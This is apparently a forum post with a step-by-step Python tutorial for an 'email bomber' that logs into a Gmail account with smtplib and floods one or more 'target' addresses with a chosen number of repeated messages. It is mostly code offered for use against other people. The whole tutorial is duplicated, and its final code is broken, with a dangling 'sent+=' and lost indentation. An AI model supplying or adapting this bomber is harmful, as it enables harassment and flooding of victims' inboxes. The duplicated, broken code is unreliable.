Posted 11 years ago
·
Author
There are LOTS of ways to send an email in Python. But to save time and to make things more simple, I will show you how to code a bomber using smtplib
First of all, you need a gmail account. Go here
Now that your gmail has been created, we need to open IDLE.
Then we import smtplib
Code:
[code=python file=Untitled.txt]
import smtplib
[/code]
After we import our smtplib we need to ask if the user wants multiple targets. At least thats what I would want...
Code:
[code=python file=Untitled.txt]
choice=raw_input('Multiple Targets y/n: ')
[/code]
Now we need to use our conditional statements to specify what will happen if the user types y or n, or neither.
Code:
[code=python file=Untitled.txt]
if choice=='y':
[/code]
Now we are ready for the rest of the code. I will explain line by line.
We need to get your gmail username and password. We will use the simple raw_input.
Code:
[code=python file=Untitled.txt]
gmail_username=raw_input('Gmail Username: ')
gmail_password=raw_input('Gmail Password: ')
[/code]
Now we need to connect to the gmail server. The port is 587.
Code:
[code=python file=Untitled.txt]
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
[/code]
Next we need to identify ourselves to the SMTP server.
Code:
[code=python file=Untitled.txt]
smtpserver.ehlo()
[/code]
If you want your data to be encrypted, put the connection in TLS.
Code:
[code=python file=Untitled.txt]
smtpserver.starttls()
[/code]
Now we need to identify ourselves again using ehlo
Code:
[code=python file=Untitled.txt]
smtpserver.ehlo
[/code]
Now we need to login to gmail
Code:
[code=python file=Untitled.txt]
smtpserver.login(gmail_username,gmail_password)
[/code]
Your code should be similar to mine so far
Code:
[code=python file=Untitled.txt]
import smtplib
import time
sent=0
multi=raw_input("Would you like to send to multiple targets? y/n: ")
if multi=="y":
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
print ("Connecting to server please wait...")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
print("Connection attained")
[/code]
Now we are ready to identify target emails.
Code:
[code=python file=Untitled.txt]
print('Targets go here press <enter> on a blank line to end: ')
elist=[]
while True:
tgts=raw_input('Target: ')
if len(tgts)==0:
break
elist.append(tgts)
[/code]
What this segment does is add target emails to a list. This is basic, beginner stuff here.
Now we need to ask the user how many emails he wants to send and what message to send
Code:
[code=python file=Untitled.txt]
num_sent=input('Number of emails to send: ')
msg=raw_input('Message to send to targets.')
[/code]
Next we need to create the loop to send a message to each target.
Code:
[code=python file=Untitled.txt]
while sent <=num_sent:
for tgts in elist:
smtpserver.sendmail(gmail_username,tgts,msg)
print ("Sending emails")
sent+=1
print ("Done")
[/code]
Well thats the end of the code for the multi user option. Now for the single user. This should be pretty simple if you knew what was happening above.
We use this same bit of code
Code:
[code=python file=Untitled.txt]
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
targetEmail=raw_input("Please enter target E-mail: ")
print("Connecting please wait...")
msg=raw_input("Please enter a message: ")
numSent=input("How many messages would you like to send?: ")
[/code]
Now we need to create the loop.
Code:
[code=python file=Untitled.txt]
for i in xrange(numSent + 1):
smtpserver.sendmail(gmail_username,targetEmail,msg)
print "Sent %s %d emails." % (targetEmail,sent)
sent= sent + 1
print "Done"
time.sleep(1)
[/code]
This is pretty self explanatory. Its basically saying for an integer in the range of numSent, send mail and give its status as it progresses.
Your final code should be similar to mine
Final Code:
[code=python file=Untitled.txt]
import smtplib
import time
sent=0
multi=raw_input("Would you like to send to multiple targets? y/n: ")
if multi=="y":
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
print ("Connecting to server please wait...")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
print("Connection attained")
print("Please enter targets. Press enter on a blank line to end input")
emaillist=[]
while True:
tgts=raw_input("Please enter target: ")
if len(tgts)==0: break
emaillist.append(tgts)
num_sent=input('Number of emails to send: ')
msg=raw_input("Please enter a message to send to targets: ")
while sent <=num_sent:
for tgts in emaillist:
smtpserver.sendmail(gmail_username,tgts,msg)
print ("Sending emails")
sent+=
print ("Done")
elif multi=="n":
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
targetEmail=raw_input("Please enter target E-mail: ")
print("Connecting please wait...")
msg=raw_input("Please enter a message: ")
numSent=input("How many messages would you like to send?: ")
for i in xrange(numSent + 1):
smtpserver.sendmail(gmail_username,targetEmail,msg)
print "Sent %s %d emails." % (targetEmail,sent)
sent= sent + 1
print "Done"
time.sleep(1)
else:
print "Please choose y or n"
[/code]
First of all, you need a gmail account. Go here
Now that your gmail has been created, we need to open IDLE.
Then we import smtplib
Code:
[code=python file=Untitled.txt]
import smtplib
[/code]
After we import our smtplib we need to ask if the user wants multiple targets. At least thats what I would want...
Code:
[code=python file=Untitled.txt]
choice=raw_input('Multiple Targets y/n: ')
[/code]
Now we need to use our conditional statements to specify what will happen if the user types y or n, or neither.
Code:
[code=python file=Untitled.txt]
if choice=='y':
[/code]
Now we are ready for the rest of the code. I will explain line by line.
We need to get your gmail username and password. We will use the simple raw_input.
Code:
[code=python file=Untitled.txt]
gmail_username=raw_input('Gmail Username: ')
gmail_password=raw_input('Gmail Password: ')
[/code]
Now we need to connect to the gmail server. The port is 587.
Code:
[code=python file=Untitled.txt]
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
[/code]
Next we need to identify ourselves to the SMTP server.
Code:
[code=python file=Untitled.txt]
smtpserver.ehlo()
[/code]
If you want your data to be encrypted, put the connection in TLS.
Code:
[code=python file=Untitled.txt]
smtpserver.starttls()
[/code]
Now we need to identify ourselves again using ehlo
Code:
[code=python file=Untitled.txt]
smtpserver.ehlo
[/code]
Now we need to login to gmail
Code:
[code=python file=Untitled.txt]
smtpserver.login(gmail_username,gmail_password)
[/code]
Your code should be similar to mine so far
Code:
[code=python file=Untitled.txt]
import smtplib
import time
sent=0
multi=raw_input("Would you like to send to multiple targets? y/n: ")
if multi=="y":
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
print ("Connecting to server please wait...")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
print("Connection attained")
[/code]
Now we are ready to identify target emails.
Code:
[code=python file=Untitled.txt]
print('Targets go here press <enter> on a blank line to end: ')
elist=[]
while True:
tgts=raw_input('Target: ')
if len(tgts)==0:
break
elist.append(tgts)
[/code]
What this segment does is add target emails to a list. This is basic, beginner stuff here.
Now we need to ask the user how many emails he wants to send and what message to send
Code:
[code=python file=Untitled.txt]
num_sent=input('Number of emails to send: ')
msg=raw_input('Message to send to targets.')
[/code]
Next we need to create the loop to send a message to each target.
Code:
[code=python file=Untitled.txt]
while sent <=num_sent:
for tgts in elist:
smtpserver.sendmail(gmail_username,tgts,msg)
print ("Sending emails")
sent+=1
print ("Done")
[/code]
Well thats the end of the code for the multi user option. Now for the single user. This should be pretty simple if you knew what was happening above.
We use this same bit of code
Code:
[code=python file=Untitled.txt]
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
targetEmail=raw_input("Please enter target E-mail: ")
print("Connecting please wait...")
msg=raw_input("Please enter a message: ")
numSent=input("How many messages would you like to send?: ")
[/code]
Now we need to create the loop.
Code:
[code=python file=Untitled.txt]
for i in xrange(numSent + 1):
smtpserver.sendmail(gmail_username,targetEmail,msg)
print "Sent %s %d emails." % (targetEmail,sent)
sent= sent + 1
print "Done"
time.sleep(1)
[/code]
This is pretty self explanatory. Its basically saying for an integer in the range of numSent, send mail and give its status as it progresses.
Your final code should be similar to mine
Final Code:
[code=python file=Untitled.txt]
import smtplib
import time
sent=0
multi=raw_input("Would you like to send to multiple targets? y/n: ")
if multi=="y":
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
print ("Connecting to server please wait...")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
print("Connection attained")
print("Please enter targets. Press enter on a blank line to end input")
emaillist=[]
while True:
tgts=raw_input("Please enter target: ")
if len(tgts)==0: break
emaillist.append(tgts)
num_sent=input('Number of emails to send: ')
msg=raw_input("Please enter a message to send to targets: ")
while sent <=num_sent:
for tgts in emaillist:
smtpserver.sendmail(gmail_username,tgts,msg)
print ("Sending emails")
sent+=
print ("Done")
elif multi=="n":
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
targetEmail=raw_input("Please enter target E-mail: ")
print("Connecting please wait...")
msg=raw_input("Please enter a message: ")
numSent=input("How many messages would you like to send?: ")
for i in xrange(numSent + 1):
smtpserver.sendmail(gmail_username,targetEmail,msg)
print "Sent %s %d emails." % (targetEmail,sent)
sent= sent + 1
print "Done"
time.sleep(1)
else:
print "Please choose y or n"
[/code]